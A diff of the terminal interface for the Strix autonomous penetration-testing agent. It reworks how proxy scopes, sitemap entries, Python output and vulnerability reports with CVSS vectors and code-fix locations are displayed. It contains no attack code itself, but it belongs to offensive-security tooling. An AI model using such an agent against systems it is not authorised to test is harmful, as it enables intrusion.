text.append("Updating proxy scope", style="bold #06b6d4")
|
status = tool_data.get("status", "running")
|
||||||
text.append("\n ")
|
|
||||||
text.append("Configuring...", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
action = args.get("action", "")
|
||||||
|
scope_name = args.get("scope_name", "")
|
||||||
|
scope_id = args.get("scope_id", "")
|
||||||
|
allowlist = args.get("allowlist")
|
||||||
|
denylist = args.get("denylist")
|
||||||
|
|
||||||
|
text = Text()
|
||||||
|
text.append(PROXY_ICON, style="dim")
|
||||||
|
|
||||||
|
action_map = {
|
||||||
|
"get": "getting",
|
||||||
|
"list": "listing",
|
||||||
|
"create": "creating",
|
||||||
|
"update": "updating",
|
||||||
|
"delete": "deleting",
|
||||||
|
}
|
||||||
|
action_text = action_map.get(action, action + "ing" if action else "managing")
|
||||||
|
text.append(f" {action_text} proxy scope", style="#06b6d4")
|
||||||
|
|
||||||
|
if scope_name:
|
||||||
|
text.append(f" '{_truncate(scope_name, 50)}'", style="dim italic")
|
||||||
|
if scope_id and isinstance(scope_id, str):
|
||||||
|
text.append(f" #{scope_id[:8]}", style="dim")
|
||||||
|
|
||||||
|
if allowlist and isinstance(allowlist, list):
|
||||||
|
allow_str = ", ".join(_truncate(str(a), 40) for a in allowlist[:4])
|
||||||
|
text.append(f"\n allow: {allow_str}", style="dim")
|
||||||
|
if len(allowlist) > 4:
|
||||||
|
text.append(f" +{len(allowlist) - 4}", style="dim italic")
|
||||||
|
if denylist and isinstance(denylist, list):
|
||||||
|
deny_str = ", ".join(_truncate(str(d), 40) for d in denylist[:4])
|
||||||
|
text.append(f"\n deny: {deny_str}", style="dim")
|
||||||
|
if len(denylist) > 4:
|
||||||
|
text.append(f" +{len(denylist) - 4}", style="dim italic")
|
||||||
|
|
||||||
|
if status == "completed" and isinstance(result, dict):
|
||||||
|
if "error" in result:
|
||||||
|
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
|
elif "scopes" in result:
|
||||||
|
scopes = result.get("scopes", [])
|
||||||
|
text.append(f" [{len(scopes)} scopes]", style="dim")
|
||||||
|
|
||||||
|
if scopes and isinstance(scopes, list):
|
||||||
|
text.append("\n")
|
||||||
|
for i, scope in enumerate(scopes[:5]):
|
||||||
|
if not isinstance(scope, dict):
|
||||||
|
continue
|
||||||
|
name = scope.get("name", "?")
|
||||||
|
allow = scope.get("allowlist") or []
|
||||||
|
text.append(" ")
|
||||||
|
text.append(_truncate(str(name), 40), style="#22c55e")
|
||||||
|
if allow and isinstance(allow, list):
|
||||||
|
allow_str = ", ".join(_truncate(str(a), 30) for a in allow[:3])
|
||||||
|
text.append(f" {allow_str}", style="dim")
|
||||||
|
if len(allow) > 3:
|
||||||
|
text.append(f" +{len(allow) - 3}", style="dim italic")
|
||||||
|
if i < min(len(scopes), 5) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
elif "scope" in result:
|
||||||
|
scope = result.get("scope") or {}
|
||||||
|
if isinstance(scope, dict):
|
||||||
|
allow = scope.get("allowlist") or []
|
||||||
|
deny = scope.get("denylist") or []
|
||||||
|
|
||||||
|
if allow and isinstance(allow, list):
|
||||||
|
allow_str = ", ".join(_truncate(str(a), 40) for a in allow[:5])
|
||||||
|
text.append(f"\n allow: {allow_str}", style="dim")
|
||||||
|
if deny and isinstance(deny, list):
|
||||||
|
deny_str = ", ".join(_truncate(str(d), 40) for d in deny[:5])
|
||||||
|
text.append(f"\n deny: {deny_str}", style="dim")
|
||||||
|
|
||||||
|
elif "message" in result:
|
||||||
|
text.append(f" {result['message']}", style="#22c55e")
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -225,36 +467,81 @@ class ListSitemapRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
|
||||||
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
|
parent_id = args.get("parent_id")
|
||||||
|
scope_id = args.get("scope_id")
|
||||||
|
depth = args.get("depth")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🗺️ ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append("Listing sitemap", style="bold #06b6d4")
|
text.append(" listing sitemap", style="#06b6d4")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
if parent_id:
|
||||||
text.append("\n ")
|
text.append(f" under #{_truncate(str(parent_id), 20)}", style="dim")
|
||||||
text.append(result.strip(), style="dim")
|
|
||||||
elif result and isinstance(result, dict) and "entries" in result:
|
meta_parts = []
|
||||||
entries = result["entries"]
|
if scope_id and isinstance(scope_id, str):
|
||||||
if isinstance(entries, list) and entries:
|
meta_parts.append(f"scope:{scope_id[:8]}")
|
||||||
for entry in entries[:30]:
|
if depth and depth != "DIRECT":
|
||||||
if isinstance(entry, dict):
|
meta_parts.append(depth.lower())
|
||||||
label = entry.get("label", "?")
|
if meta_parts:
|
||||||
kind = entry.get("kind", "?")
|
text.append(f" ({', '.join(meta_parts)})", style="dim")
|
||||||
text.append("\n ")
|
|
||||||
text.append(f"{kind}: {label}", style="dim")
|
if status == "completed" and isinstance(result, dict):
|
||||||
if len(entries) > 30:
|
if "error" in result:
|
||||||
text.append("\n ")
|
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
text.append(f"... +{len(entries) - 30} more entries", style="dim")
|
|
||||||
else:
|
else:
|
||||||
text.append("\n ")
|
total = result.get("total_count", 0)
|
||||||
text.append("No entries found", style="dim")
|
entries = result.get("entries", [])
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Loading...", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
text.append(f" [{total} entries]", style="dim")
|
||||||
|
|
||||||
|
if entries and isinstance(entries, list):
|
||||||
|
text.append("\n")
|
||||||
|
for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]):
|
||||||
|
if not isinstance(entry, dict):
|
||||||
|
continue
|
||||||
|
kind = entry.get("kind") or "?"
|
||||||
|
label = entry.get("label") or "?"
|
||||||
|
has_children = entry.get("hasDescendants", False)
|
||||||
|
req = entry.get("request") or {}
|
||||||
|
|
||||||
|
kind_style = {
|
||||||
|
"DOMAIN": "#f59e0b",
|
||||||
|
"DIRECTORY": "#3b82f6",
|
||||||
|
"REQUEST": "#22c55e",
|
||||||
|
}.get(kind, "dim")
|
||||||
|
|
||||||
|
text.append(" ")
|
||||||
|
kind_abbr = kind[:3] if isinstance(kind, str) else "?"
|
||||||
|
text.append(f"{kind_abbr:3}", style=kind_style)
|
||||||
|
text.append(f" {_truncate(label, 150)}", style="dim")
|
||||||
|
|
||||||
|
if req:
|
||||||
|
method = req.get("method", "")
|
||||||
|
code = req.get("status")
|
||||||
|
if method:
|
||||||
|
text.append(f" {method}", style="#a78bfa")
|
||||||
|
if code:
|
||||||
|
text.append(f" {code}", style=_status_style(code))
|
||||||
|
|
||||||
|
if has_children:
|
||||||
|
text.append(" +", style="dim italic")
|
||||||
|
|
||||||
|
if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
if len(entries) > MAX_REQUESTS_DISPLAY:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(
|
||||||
|
f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more", style="dim italic"
|
||||||
|
)
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|
||||||
|
|
||||||
@@ -264,33 +551,60 @@ class ViewSitemapEntryRenderer(BaseToolRenderer):
|
|||||||
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912
|
||||||
|
args = tool_data.get("args", {})
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
status = tool_data.get("status", "running")
|
||||||
|
|
||||||
|
entry_id = args.get("entry_id", "")
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("📍 ")
|
text.append(PROXY_ICON, style="dim")
|
||||||
text.append("Viewing sitemap entry", style="bold #06b6d4")
|
text.append(" viewing sitemap", style="#06b6d4")
|
||||||
|
|
||||||
if isinstance(result, str) and result.strip():
|
if entry_id:
|
||||||
text.append("\n ")
|
text.append(f" #{_truncate(str(entry_id), 20)}", style="dim")
|
||||||
text.append(result.strip(), style="dim")
|
|
||||||
elif result and isinstance(result, dict) and "entry" in result:
|
if status == "completed" and isinstance(result, dict):
|
||||||
entry = result["entry"]
|
if "error" in result:
|
||||||
if isinstance(entry, dict):
|
text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444")
|
||||||
label = entry.get("label", "")
|
elif "entry" in result:
|
||||||
|
entry = result.get("entry") or {}
|
||||||
|
if not isinstance(entry, dict):
|
||||||
|
entry = {}
|
||||||
kind = entry.get("kind", "")
|
kind = entry.get("kind", "")
|
||||||
if label and kind:
|
label = entry.get("label", "")
|
||||||
text.append("\n ")
|
related = entry.get("related_requests") or {}
|
||||||
text.append(f"{kind}: {label}", style="dim")
|
related_reqs = related.get("requests", []) if isinstance(related, dict) else []
|
||||||
else:
|
total_related = related.get("total_count", 0) if isinstance(related, dict) else 0
|
||||||
text.append("\n ")
|
|
||||||
text.append("Entry details loaded", style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Entry details loaded", style="dim")
|
|
||||||
else:
|
|
||||||
text.append("\n ")
|
|
||||||
text.append("Loading...", style="dim")
|
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
if kind and label:
|
||||||
|
text.append(f" {kind}: {_truncate(label, 120)}", style="dim")
|
||||||
|
|
||||||
|
if total_related:
|
||||||
|
text.append(f" [{total_related} requests]", style="dim")
|
||||||
|
|
||||||
|
if related_reqs and isinstance(related_reqs, list):
|
||||||
|
text.append("\n")
|
||||||
|
for i, req in enumerate(related_reqs[:10]):
|
||||||
|
if not isinstance(req, dict):
|
||||||
|
continue
|
||||||
|
method = req.get("method", "?")
|
||||||
|
path = req.get("path", "/")
|
||||||
|
code = req.get("status")
|
||||||
|
|
||||||
|
text.append(" ")
|
||||||
|
text.append(f"{method:6}", style="#a78bfa")
|
||||||
|
text.append(f" {_truncate(path, 180)}", style="dim")
|
||||||
|
if code:
|
||||||
|
text.append(f" {code}", style=_status_style(code))
|
||||||
|
|
||||||
|
if i < min(len(related_reqs), 10) - 1:
|
||||||
|
text.append("\n")
|
||||||
|
|
||||||
|
if len(related_reqs) > 10:
|
||||||
|
text.append("\n")
|
||||||
|
text.append(f" ... +{len(related_reqs) - 10} more", style="dim italic")
|
||||||
|
|
||||||
|
css_classes = cls.get_css_classes(status)
|
||||||
return Static(text, classes=css_classes)
|
return Static(text, classes=css_classes)
|
||||||
|
|||||||
@@ -14,6 +14,8 @@ from .registry import register_tool_renderer
|
|||||||
MAX_OUTPUT_LINES = 50
|
MAX_OUTPUT_LINES = 50
|
||||||
MAX_LINE_LENGTH = 200
|
MAX_LINE_LENGTH = 200
|
||||||
|
|
||||||
|
ANSI_PATTERN = re.compile(r"\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)")
|
||||||
|
|
||||||
STRIP_PATTERNS = [
|
STRIP_PATTERNS = [
|
||||||
r"\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]",
|
r"\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]",
|
||||||
]
|
]
|
||||||
@@ -25,31 +27,32 @@ def _get_style_colors() -> dict[Any, str]:
|
|||||||
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
|
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
|
||||||
|
|
||||||
|
|
||||||
|
@cache
|
||||||
|
def _get_lexer() -> PythonLexer:
|
||||||
|
return PythonLexer()
|
||||||
|
|
||||||
|
|
||||||
|
@cache
|
||||||
|
def _get_token_color(token_type: Any) -> str | None:
|
||||||
|
colors = _get_style_colors()
|
||||||
|
while token_type:
|
||||||
|
if token_type in colors:
|
||||||
|
return colors[token_type]
|
||||||
|
token_type = token_type.parent
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
@register_tool_renderer
|
@register_tool_renderer
|
||||||
class PythonRenderer(BaseToolRenderer):
|
class PythonRenderer(BaseToolRenderer):
|
||||||
tool_name: ClassVar[str] = "python_action"
|
tool_name: ClassVar[str] = "python_action"
|
||||||
css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"]
|
css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"]
|
||||||
|
|
||||||
@classmethod
|
|
||||||
def _get_token_color(cls, token_type: Any) -> str | None:
|
|
||||||
colors = _get_style_colors()
|
|
||||||
while token_type:
|
|
||||||
if token_type in colors:
|
|
||||||
return colors[token_type]
|
|
||||||
token_type = token_type.parent
|
|
||||||
return None
|
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def _highlight_python(cls, code: str) -> Text:
|
def _highlight_python(cls, code: str) -> Text:
|
||||||
lexer = PythonLexer()
|
|
||||||
text = Text()
|
text = Text()
|
||||||
|
for token_type, token_value in _get_lexer().get_tokens(code):
|
||||||
for token_type, token_value in lexer.get_tokens(code):
|
if token_value:
|
||||||
if not token_value:
|
text.append(token_value, style=_get_token_color(token_type))
|
||||||
continue
|
|
||||||
color = cls._get_token_color(token_type)
|
|
||||||
text.append(token_value, style=color)
|
|
||||||
|
|
||||||
return text
|
return text
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
@@ -59,11 +62,16 @@ class PythonRenderer(BaseToolRenderer):
|
|||||||
cleaned = re.sub(pattern, "", cleaned)
|
cleaned = re.sub(pattern, "", cleaned)
|
||||||
return cleaned.strip()
|
return cleaned.strip()
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def _strip_ansi(cls, text: str) -> str:
|
||||||
|
return ANSI_PATTERN.sub("", text)
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def _truncate_line(cls, line: str) -> str:
|
def _truncate_line(cls, line: str) -> str:
|
||||||
if len(line) > MAX_LINE_LENGTH:
|
clean_line = cls._strip_ansi(line)
|
||||||
return line[: MAX_LINE_LENGTH - 3] + "..."
|
if len(clean_line) > MAX_LINE_LENGTH:
|
||||||
return line
|
return clean_line[: MAX_LINE_LENGTH - 3] + "..."
|
||||||
|
return clean_line
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def _format_output(cls, output: str) -> Text:
|
def _format_output(cls, output: str) -> Text:
|
||||||
@@ -112,22 +120,13 @@ class PythonRenderer(BaseToolRenderer):
|
|||||||
return
|
return
|
||||||
|
|
||||||
stdout = result.get("stdout", "")
|
stdout = result.get("stdout", "")
|
||||||
stderr = result.get("stderr", "")
|
|
||||||
|
|
||||||
stdout = cls._clean_output(stdout) if stdout else ""
|
stdout = cls._clean_output(stdout) if stdout else ""
|
||||||
stderr = cls._clean_output(stderr) if stderr else ""
|
|
||||||
|
|
||||||
if stdout:
|
if stdout:
|
||||||
text.append("\n")
|
text.append("\n")
|
||||||
formatted_output = cls._format_output(stdout)
|
formatted_output = cls._format_output(stdout)
|
||||||
text.append_text(formatted_output)
|
text.append_text(formatted_output)
|
||||||
|
|
||||||
if stderr:
|
|
||||||
text.append("\n")
|
|
||||||
text.append(" stderr: ", style="bold #ef4444")
|
|
||||||
formatted_stderr = cls._format_output(stderr)
|
|
||||||
text.append_text(formatted_stderr)
|
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
def render(cls, tool_data: dict[str, Any]) -> Static:
|
||||||
args = tool_data.get("args", {})
|
args = tool_data.get("args", {})
|
||||||
|
|||||||
@@ -3,10 +3,14 @@ from typing import Any, ClassVar
|
|||||||
|
|
||||||
from pygments.lexers import PythonLexer
|
from pygments.lexers import PythonLexer
|
||||||
from pygments.styles import get_style_by_name
|
from pygments.styles import get_style_by_name
|
||||||
from rich.padding import Padding
|
|
||||||
from rich.text import Text
|
from rich.text import Text
|
||||||
from textual.widgets import Static
|
from textual.widgets import Static
|
||||||
|
|
||||||
|
from strix.tools.reporting.reporting_actions import (
|
||||||
|
parse_code_locations_xml,
|
||||||
|
parse_cvss_xml,
|
||||||
|
)
|
||||||
|
|
||||||
from .base_renderer import BaseToolRenderer
|
from .base_renderer import BaseToolRenderer
|
||||||
from .registry import register_tool_renderer
|
from .registry import register_tool_renderer
|
||||||
|
|
||||||
@@ -18,7 +22,13 @@ def _get_style_colors() -> dict[Any, str]:
|
|||||||
|
|
||||||
|
|
||||||
FIELD_STYLE = "bold #4ade80"
|
FIELD_STYLE = "bold #4ade80"
|
||||||
BG_COLOR = "#141414"
|
DIM_STYLE = "dim"
|
||||||
|
FILE_STYLE = "bold #60a5fa"
|
||||||
|
LINE_STYLE = "#facc15"
|
||||||
|
LABEL_STYLE = "italic #a1a1aa"
|
||||||
|
CODE_STYLE = "#e2e8f0"
|
||||||
|
BEFORE_STYLE = "#ef4444"
|
||||||
|
AFTER_STYLE = "#22c55e"
|
||||||
|
|
||||||
|
|
||||||
@register_tool_renderer
|
@register_tool_renderer
|
||||||
@@ -82,18 +92,13 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
|||||||
poc_script_code = args.get("poc_script_code", "")
|
poc_script_code = args.get("poc_script_code", "")
|
||||||
remediation_steps = args.get("remediation_steps", "")
|
remediation_steps = args.get("remediation_steps", "")
|
||||||
|
|
||||||
attack_vector = args.get("attack_vector", "")
|
cvss_breakdown_xml = args.get("cvss_breakdown", "")
|
||||||
attack_complexity = args.get("attack_complexity", "")
|
code_locations_xml = args.get("code_locations", "")
|
||||||
privileges_required = args.get("privileges_required", "")
|
|
||||||
user_interaction = args.get("user_interaction", "")
|
|
||||||
scope = args.get("scope", "")
|
|
||||||
confidentiality = args.get("confidentiality", "")
|
|
||||||
integrity = args.get("integrity", "")
|
|
||||||
availability = args.get("availability", "")
|
|
||||||
|
|
||||||
endpoint = args.get("endpoint", "")
|
endpoint = args.get("endpoint", "")
|
||||||
method = args.get("method", "")
|
method = args.get("method", "")
|
||||||
cve = args.get("cve", "")
|
cve = args.get("cve", "")
|
||||||
|
cwe = args.get("cwe", "")
|
||||||
|
|
||||||
severity = ""
|
severity = ""
|
||||||
cvss_score = None
|
cvss_score = None
|
||||||
@@ -142,38 +147,30 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
|||||||
text.append("CVE: ", style=FIELD_STYLE)
|
text.append("CVE: ", style=FIELD_STYLE)
|
||||||
text.append(cve)
|
text.append(cve)
|
||||||
|
|
||||||
if any(
|
if cwe:
|
||||||
[
|
text.append("\n\n")
|
||||||
attack_vector,
|
text.append("CWE: ", style=FIELD_STYLE)
|
||||||
attack_complexity,
|
text.append(cwe)
|
||||||
privileges_required,
|
|
||||||
user_interaction,
|
parsed_cvss = parse_cvss_xml(cvss_breakdown_xml) if cvss_breakdown_xml else None
|
||||||
scope,
|
if parsed_cvss:
|
||||||
confidentiality,
|
|
||||||
integrity,
|
|
||||||
availability,
|
|
||||||
]
|
|
||||||
):
|
|
||||||
text.append("\n\n")
|
text.append("\n\n")
|
||||||
cvss_parts = []
|
cvss_parts = []
|
||||||
if attack_vector:
|
for key, prefix in [
|
||||||
cvss_parts.append(f"AV:{attack_vector}")
|
("attack_vector", "AV"),
|
||||||
if attack_complexity:
|
("attack_complexity", "AC"),
|
||||||
cvss_parts.append(f"AC:{attack_complexity}")
|
("privileges_required", "PR"),
|
||||||
if privileges_required:
|
("user_interaction", "UI"),
|
||||||
cvss_parts.append(f"PR:{privileges_required}")
|
("scope", "S"),
|
||||||
if user_interaction:
|
("confidentiality", "C"),
|
||||||
cvss_parts.append(f"UI:{user_interaction}")
|
("integrity", "I"),
|
||||||
if scope:
|
("availability", "A"),
|
||||||
cvss_parts.append(f"S:{scope}")
|
]:
|
||||||
if confidentiality:
|
val = parsed_cvss.get(key)
|
||||||
cvss_parts.append(f"C:{confidentiality}")
|
if val:
|
||||||
if integrity:
|
cvss_parts.append(f"{prefix}:{val}")
|
||||||
cvss_parts.append(f"I:{integrity}")
|
|
||||||
if availability:
|
|
||||||
cvss_parts.append(f"A:{availability}")
|
|
||||||
text.append("CVSS Vector: ", style=FIELD_STYLE)
|
text.append("CVSS Vector: ", style=FIELD_STYLE)
|
||||||
text.append("/".join(cvss_parts), style="dim")
|
text.append("/".join(cvss_parts), style=DIM_STYLE)
|
||||||
|
|
||||||
if description:
|
if description:
|
||||||
text.append("\n\n")
|
text.append("\n\n")
|
||||||
@@ -193,6 +190,40 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
|||||||
text.append("\n")
|
text.append("\n")
|
||||||
text.append(technical_analysis)
|
text.append(technical_analysis)
|
||||||
|
|
||||||
|
parsed_locations = (
|
||||||
|
parse_code_locations_xml(code_locations_xml) if code_locations_xml else None
|
||||||
|
)
|
||||||
|
if parsed_locations:
|
||||||
|
text.append("\n\n")
|
||||||
|
text.append("Code Locations", style=FIELD_STYLE)
|
||||||
|
for i, loc in enumerate(parsed_locations):
|
||||||
|
text.append("\n\n")
|
||||||
|
text.append(f" Location {i + 1}: ", style=DIM_STYLE)
|
||||||
|
text.append(loc.get("file", "unknown"), style=FILE_STYLE)
|
||||||
|
start = loc.get("start_line")
|
||||||
|
end = loc.get("end_line")
|
||||||
|
if start is not None:
|
||||||
|
if end and end != start:
|
||||||
|
text.append(f":{start}-{end}", style=LINE_STYLE)
|
||||||
|
else:
|
||||||
|
text.append(f":{start}", style=LINE_STYLE)
|
||||||
|
if loc.get("label"):
|
||||||
|
text.append(f"\n {loc['label']}", style=LABEL_STYLE)
|
||||||
|
if loc.get("snippet"):
|
||||||
|
text.append("\n ")
|
||||||
|
text.append(loc["snippet"], style=CODE_STYLE)
|
||||||
|
if loc.get("fix_before") or loc.get("fix_after"):
|
||||||
|
text.append("\n ")
|
||||||
|
text.append("Fix:", style=DIM_STYLE)
|
||||||
|
if loc.get("fix_before"):
|
||||||
|
text.append("\n ")
|
||||||
|
text.append("- ", style=BEFORE_STYLE)
|
||||||
|
text.append(loc["fix_before"], style=BEFORE_STYLE)
|
||||||
|
if loc.get("fix_after"):
|
||||||
|
text.append("\n ")
|
||||||
|
text.append("+ ", style=AFTER_STYLE)
|
||||||
|
text.append(loc["fix_after"], style=AFTER_STYLE)
|
||||||
|
|
||||||
if poc_description:
|
if poc_description:
|
||||||
text.append("\n\n")
|
text.append("\n\n")
|
||||||
text.append("PoC Description", style=FIELD_STYLE)
|
text.append("PoC Description", style=FIELD_STYLE)
|
||||||
@@ -215,7 +246,10 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
|||||||
text.append("\n ")
|
text.append("\n ")
|
||||||
text.append("Creating report...", style="dim")
|
text.append("Creating report...", style="dim")
|
||||||
|
|
||||||
padded = Padding(text, 2, style=f"on {BG_COLOR}")
|
padded = Text()
|
||||||
|
padded.append("\n\n")
|
||||||
|
padded.append_text(text)
|
||||||
|
padded.append("\n\n")
|
||||||
|
|
||||||
css_classes = cls.get_css_classes("completed")
|
css_classes = cls.get_css_classes("completed")
|
||||||
return Static(padded, classes=css_classes)
|
return Static(padded, classes=css_classes)
|
||||||
|
|||||||
@@ -19,7 +19,8 @@ class ScanStartInfoRenderer(BaseToolRenderer):
|
|||||||
targets = args.get("targets", [])
|
targets = args.get("targets", [])
|
||||||
|
|
||||||
text = Text()
|
text = Text()
|
||||||
text.append("🚀 Starting penetration test")
|
text.append("◈ ", style="#22c55e")
|
||||||
|
text.append("Starting penetration test")
|
||||||
|
|
||||||
if len(targets) == 1:
|
if len(targets) == 1:
|
||||||
text.append(" on ")
|
text.append(" on ")
|
||||||
|
|||||||
@@ -29,11 +29,18 @@ from textual.widgets import Button, Label, Static, TextArea, Tree
|
|||||||
from textual.widgets.tree import TreeNode
|
from textual.widgets.tree import TreeNode
|
||||||
|
|
||||||
from strix.agents.StrixAgent import StrixAgent
|
from strix.agents.StrixAgent import StrixAgent
|
||||||
|
from strix.interface.streaming_parser import parse_streaming_content
|
||||||
|
from strix.interface.tool_components.agent_message_renderer import AgentMessageRenderer
|
||||||
|
from strix.interface.tool_components.registry import get_tool_renderer
|
||||||
|
from strix.interface.tool_components.user_message_renderer import UserMessageRenderer
|
||||||
from strix.interface.utils import build_tui_stats_text
|
from strix.interface.utils import build_tui_stats_text
|
||||||
from strix.llm.config import LLMConfig
|
from strix.llm.config import LLMConfig
|
||||||
from strix.telemetry.tracer import Tracer, set_global_tracer
|
from strix.telemetry.tracer import Tracer, set_global_tracer
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def get_package_version() -> str:
|
def get_package_version() -> str:
|
||||||
try:
|
try:
|
||||||
return pkg_version("strix-agent")
|
return pkg_version("strix-agent")
|
||||||
@@ -87,6 +94,7 @@ class ChatTextArea(TextArea): # type: ignore[misc]
|
|||||||
|
|
||||||
|
|
||||||
class SplashScreen(Static): # type: ignore[misc]
|
class SplashScreen(Static): # type: ignore[misc]
|
||||||
|
ALLOW_SELECT = False
|
||||||
PRIMARY_GREEN = "#22c55e"
|
PRIMARY_GREEN = "#22c55e"
|
||||||
BANNER = (
|
BANNER = (
|
||||||
" ███████╗████████╗██████╗ ██╗██╗ ██╗\n"
|
" ███████╗████████╗██████╗ ██╗██╗ ██╗\n"
|
||||||
@@ -188,7 +196,7 @@ class SplashScreen(Static): # type: ignore[misc]
|
|||||||
class HelpScreen(ModalScreen): # type: ignore[misc]
|
class HelpScreen(ModalScreen): # type: ignore[misc]
|
||||||
def compose(self) -> ComposeResult:
|
def compose(self) -> ComposeResult:
|
||||||
yield Grid(
|
yield Grid(
|
||||||
Label("🦉 Strix Help", id="help_title"),
|
Label("Strix Help", id="help_title"),
|
||||||
Label(
|
Label(
|
||||||
"F1 Help\nCtrl+Q/C Quit\nESC Stop Agent\n"
|
"F1 Help\nCtrl+Q/C Quit\nESC Stop Agent\n"
|
||||||
"Enter Send message to agent\nTab Switch panels\n↑/↓ Navigate tree",
|
"Enter Send message to agent\nTab Switch panels\n↑/↓ Navigate tree",
|
||||||
@@ -523,16 +531,30 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
|||||||
lines.append("```")
|
lines.append("```")
|
||||||
|
|
||||||
# Code Analysis
|
# Code Analysis
|
||||||
if vuln.get("code_file") or vuln.get("code_diff"):
|
if vuln.get("code_locations"):
|
||||||
lines.extend(["", "## Code Analysis", ""])
|
lines.extend(["", "## Code Analysis", ""])
|
||||||
if vuln.get("code_file"):
|
for i, loc in enumerate(vuln["code_locations"]):
|
||||||
lines.append(f"**File:** {vuln['code_file']}")
|
file_ref = loc.get("file", "unknown")
|
||||||
|
line_ref = ""
|
||||||
|
if loc.get("start_line") is not None:
|
||||||
|
if loc.get("end_line") and loc["end_line"] != loc["start_line"]:
|
||||||
|
line_ref = f" (lines {loc['start_line']}-{loc['end_line']})"
|
||||||
|
else:
|
||||||
|
line_ref = f" (line {loc['start_line']})"
|
||||||
|
lines.append(f"**Location {i + 1}:** `{file_ref}`{line_ref}")
|
||||||
|
if loc.get("label"):
|
||||||
|
lines.append(f" {loc['label']}")
|
||||||
|
if loc.get("snippet"):
|
||||||
|
lines.append(f"```\n{loc['snippet']}\n```")
|
||||||
|
if loc.get("fix_before") or loc.get("fix_after"):
|
||||||
|
lines.append("**Suggested Fix:**")
|
||||||
|
lines.append("```diff")
|
||||||
|
if loc.get("fix_before"):
|
||||||
|
lines.extend(f"- {line}" for line in loc["fix_before"].splitlines())
|
||||||
|
if loc.get("fix_after"):
|
||||||
|
lines.extend(f"+ {line}" for line in loc["fix_after"].splitlines())
|
||||||
|
lines.append("```")
|
||||||
lines.append("")
|
lines.append("")
|
||||||
if vuln.get("code_diff"):
|
|
||||||
lines.append("**Changes:**")
|
|
||||||
lines.append("```diff")
|
|
||||||
lines.append(vuln["code_diff"])
|
|
||||||
lines.append("```")
|
|
||||||
|
|
||||||
# Remediation
|
# Remediation
|
||||||
if vuln.get("remediation_steps"):
|
if vuln.get("remediation_steps"):
|
||||||
@@ -663,8 +685,9 @@ class QuitScreen(ModalScreen): # type: ignore[misc]
|
|||||||
|
|
||||||
class StrixTUIApp(App): # type: ignore[misc]
|
class StrixTUIApp(App): # type: ignore[misc]
|
||||||
CSS_PATH = "assets/tui_styles.tcss"
|
CSS_PATH = "assets/tui_styles.tcss"
|
||||||
|
ALLOW_SELECT = True
|
||||||
|
|
||||||
SIDEBAR_MIN_WIDTH = 100
|
SIDEBAR_MIN_WIDTH = 140
|
||||||
|
|
||||||
selected_agent_id: reactive[str | None] = reactive(default=None)
|
selected_agent_id: reactive[str | None] = reactive(default=None)
|
||||||
